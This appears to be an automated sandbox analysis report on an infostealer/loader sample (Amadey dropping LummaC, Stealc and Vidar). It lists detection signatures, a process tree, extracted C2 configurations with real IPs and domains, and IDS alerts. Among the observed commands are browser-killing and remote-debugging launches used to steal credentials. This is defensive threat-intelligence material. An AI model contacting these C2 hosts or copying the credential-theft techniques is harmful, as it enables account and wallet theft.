Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1576114
MD5:	bf03b982421c50b3c232a902eed53e31
SHA1:	5f1bdec3bf5ef51e982ebd35ef62d4ab461891bd
SHA256:	ad8773dd53db992fecf9988cbedeea0a42e899995030766e4314fbb752b67249
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5820 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BF03B982421C50B3C232A902EED53E31)

skotes.exe (PID: 5132 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: BF03B982421C50B3C232A902EED53E31)

skotes.exe (PID: 3652 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BF03B982421C50B3C232A902EED53E31)

skotes.exe (PID: 7980 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BF03B982421C50B3C232A902EED53E31)

90c05232da.exe (PID: 5036 cmdline: "C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe" MD5: 9B88AFC4511D0FE8ACA6080D34F2DD66)

ba324316e4.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe" MD5: E33DC32F04E77BC26482BACCB87B9795)

chrome.exe (PID: 7156 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2216,i,16623074290101822103,4127853333489822360,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 5048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7116 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2092,i,5938001379590901427,3594052689996707155,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

fe4405d388.exe (PID: 7472 cmdline: "C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe" MD5: 7204BB7D150D6D2B21A5FFE9F3A9A017)

taskkill.exe (PID: 1540 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2360 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2300 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3924 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4832 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7036 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

258e650b63.exe (PID: 6732 cmdline: "C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe" MD5: F86C08A75747002A2A7CD3FBC5FE05C8)

90c05232da.exe (PID: 7440 cmdline: "C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe" MD5: 9B88AFC4511D0FE8ACA6080D34F2DD66)

firefox.exe (PID: 5360 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4304 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5796 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9af8acac-d82e-404a-bbad-cf8fed735087} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b2ad6dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4540 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3996 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4000 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c9e82d6b-f9d3-4a6b-aefc-e2407323a6a3} 4304 "\\.\pipe\gecko-crash-server-pipe.4304" 28b3d23cb10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

ba324316e4.exe (PID: 6064 cmdline: "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe" MD5: E33DC32F04E77BC26482BACCB87B9795)

msedge.exe (PID: 1484 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6460 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1956,i,10990248225639772836,11182380420133072802,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

fe4405d388.exe (PID: 3876 cmdline: "C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe" MD5: 7204BB7D150D6D2B21A5FFE9F3A9A017)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["deafeninggeh.biz", "diffuculttan.xyz", "debonairnukk.xyz", "tacitglibbr.biz", "effecterectz.xyz", "awake-weaves.cyou", "immureprech.biz", "wrathful-jammy.cyou", "sordid-snaked.cyou"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000012.00000002.3502074950.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2284187628.0000000005020000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3568420328.00000000008B1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3567743210.00000000005B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2202292322.0000000004830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000003.3104103507.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2275090679.00000000046B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2726049197.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2940412231.0000000005090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 90c05232da.exe PID: 5036	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 90c05232da.exe PID: 5036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 90c05232da.exe PID: 5036	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ba324316e4.exe PID: 5672	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: ba324316e4.exe PID: 5672	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ba324316e4.exe PID: 5672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ba324316e4.exe PID: 5672	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: fe4405d388.exe PID: 7472	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.skotes.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.skotes.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.file.exe.e00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7980, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\90c05232da.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe, ParentProcessId: 5672, ParentProcessName: ba324316e4.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7156, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7980, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\90c05232da.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:17.597876+0100	2028371	3	Unknown Traffic	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:19.553892+0100	2028371	3	Unknown Traffic	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:21.966760+0100	2028371	3	Unknown Traffic	192.168.2.6	49901	104.21.50.161	443	TCP
2024-12-16T15:02:25.492903+0100	2028371	3	Unknown Traffic	192.168.2.6	49910	104.21.50.161	443	TCP
2024-12-16T15:02:27.816441+0100	2028371	3	Unknown Traffic	192.168.2.6	49919	104.21.50.161	443	TCP
2024-12-16T15:02:30.653461+0100	2028371	3	Unknown Traffic	192.168.2.6	49926	104.21.50.161	443	TCP
2024-12-16T15:02:32.985259+0100	2028371	3	Unknown Traffic	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:35.551196+0100	2028371	3	Unknown Traffic	192.168.2.6	49954	104.21.50.161	443	TCP
2024-12-16T15:02:35.786667+0100	2028371	3	Unknown Traffic	192.168.2.6	49955	104.21.50.161	443	TCP
2024-12-16T15:02:39.289981+0100	2028371	3	Unknown Traffic	192.168.2.6	49963	104.21.50.161	443	TCP
2024-12-16T15:03:06.619132+0100	2028371	3	Unknown Traffic	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:08.618738+0100	2028371	3	Unknown Traffic	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:08.879742+0100	2028371	3	Unknown Traffic	192.168.2.6	50063	104.121.10.34	443	TCP
2024-12-16T15:03:11.620388+0100	2028371	3	Unknown Traffic	192.168.2.6	50072	104.21.50.161	443	TCP
2024-12-16T15:03:13.665670+0100	2028371	3	Unknown Traffic	192.168.2.6	50075	104.21.50.161	443	TCP
2024-12-16T15:03:15.798898+0100	2028371	3	Unknown Traffic	192.168.2.6	50077	104.21.50.161	443	TCP
2024-12-16T15:03:18.045719+0100	2028371	3	Unknown Traffic	192.168.2.6	50098	104.21.50.161	443	TCP
2024-12-16T15:03:20.606356+0100	2028371	3	Unknown Traffic	192.168.2.6	50116	104.21.50.161	443	TCP
2024-12-16T15:03:23.855758+0100	2028371	3	Unknown Traffic	192.168.2.6	50121	104.21.50.161	443	TCP
2024-12-16T15:04:34.067065+0100	2028371	3	Unknown Traffic	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:36.058811+0100	2028371	3	Unknown Traffic	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:39.705328+0100	2028371	3	Unknown Traffic	192.168.2.6	50215	104.21.50.161	443	TCP
2024-12-16T15:04:42.415066+0100	2028371	3	Unknown Traffic	192.168.2.6	50217	104.21.50.161	443	TCP
2024-12-16T15:04:46.159153+0100	2028371	3	Unknown Traffic	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:46.160002+0100	2028371	3	Unknown Traffic	192.168.2.6	50220	104.21.50.161	443	TCP
2024-12-16T15:04:48.961049+0100	2028371	3	Unknown Traffic	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:49.171148+0100	2028371	3	Unknown Traffic	192.168.2.6	50225	104.21.50.161	443	TCP
2024-12-16T15:04:51.808762+0100	2028371	3	Unknown Traffic	192.168.2.6	50226	104.21.50.161	443	TCP
2024-12-16T15:04:52.003943+0100	2028371	3	Unknown Traffic	192.168.2.6	50228	104.21.50.161	443	TCP
2024-12-16T15:04:53.890750+0100	2028371	3	Unknown Traffic	192.168.2.6	50229	104.21.50.161	443	TCP
2024-12-16T15:04:55.546046+0100	2028371	3	Unknown Traffic	192.168.2.6	50232	104.21.50.161	443	TCP
2024-12-16T15:04:56.239977+0100	2028371	3	Unknown Traffic	192.168.2.6	50233	104.21.50.161	443	TCP
2024-12-16T15:05:00.181591+0100	2028371	3	Unknown Traffic	192.168.2.6	50236	104.21.50.161	443	TCP
2024-12-16T15:05:04.340034+0100	2028371	3	Unknown Traffic	192.168.2.6	50239	104.21.50.161	443	TCP
2024-12-16T15:05:09.021393+0100	2028371	3	Unknown Traffic	192.168.2.6	50268	104.21.50.161	443	TCP
2024-12-16T15:05:19.094264+0100	2028371	3	Unknown Traffic	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:21.499858+0100	2028371	3	Unknown Traffic	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:24.181457+0100	2028371	3	Unknown Traffic	192.168.2.6	50290	104.21.50.161	443	TCP
2024-12-16T15:05:26.561436+0100	2028371	3	Unknown Traffic	192.168.2.6	50293	104.21.50.161	443	TCP
2024-12-16T15:05:29.014583+0100	2028371	3	Unknown Traffic	192.168.2.6	50296	104.21.50.161	443	TCP
2024-12-16T15:05:31.218447+0100	2028371	3	Unknown Traffic	192.168.2.6	50297	104.21.50.161	443	TCP
2024-12-16T15:05:33.375406+0100	2028371	3	Unknown Traffic	192.168.2.6	50299	104.21.50.161	443	TCP
2024-12-16T15:05:36.439737+0100	2028371	3	Unknown Traffic	192.168.2.6	50301	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:18.328672+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:20.315586+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:34.537313+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:02:40.058342+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49963	104.21.50.161	443	TCP
2024-12-16T15:03:07.371888+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:03:09.783241+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:03:25.796893+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50121	104.21.50.161	443	TCP
2024-12-16T15:04:34.835987+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:38.081141+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:47.728424+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:04:50.200418+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:04:58.359650+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50232	104.21.50.161	443	TCP
2024-12-16T15:05:10.678361+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50268	104.21.50.161	443	TCP
2024-12-16T15:05:20.092046+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50286	104.21.50.161	443	TCP
2024-12-16T15:05:22.654864+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50287	104.21.50.161	443	TCP
2024-12-16T15:05:37.274497+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50301	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:18.328672+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:34.537313+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49932	104.21.50.161	443	TCP
2024-12-16T15:03:07.371888+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50057	104.21.50.161	443	TCP
2024-12-16T15:04:34.835987+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50202	104.21.50.161	443	TCP
2024-12-16T15:04:47.728424+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50221	104.21.50.161	443	TCP
2024-12-16T15:05:20.092046+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50286	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:20.315586+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:03:09.783241+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50062	104.21.50.161	443	TCP
2024-12-16T15:04:38.081141+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50204	104.21.50.161	443	TCP
2024-12-16T15:04:50.200418+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50224	104.21.50.161	443	TCP
2024-12-16T15:05:22.654864+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50287	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:02:17.597876+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49887	104.21.50.161	443	TCP
2024-12-16T15:02:19.553892+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49894	104.21.50.161	443	TCP
2024-12-16T15:02:21.966760+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49901	104.21.50.161	443	TCP
2024-12-16T15:02:25.492903+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49910	104.21.50.161	443	TCP
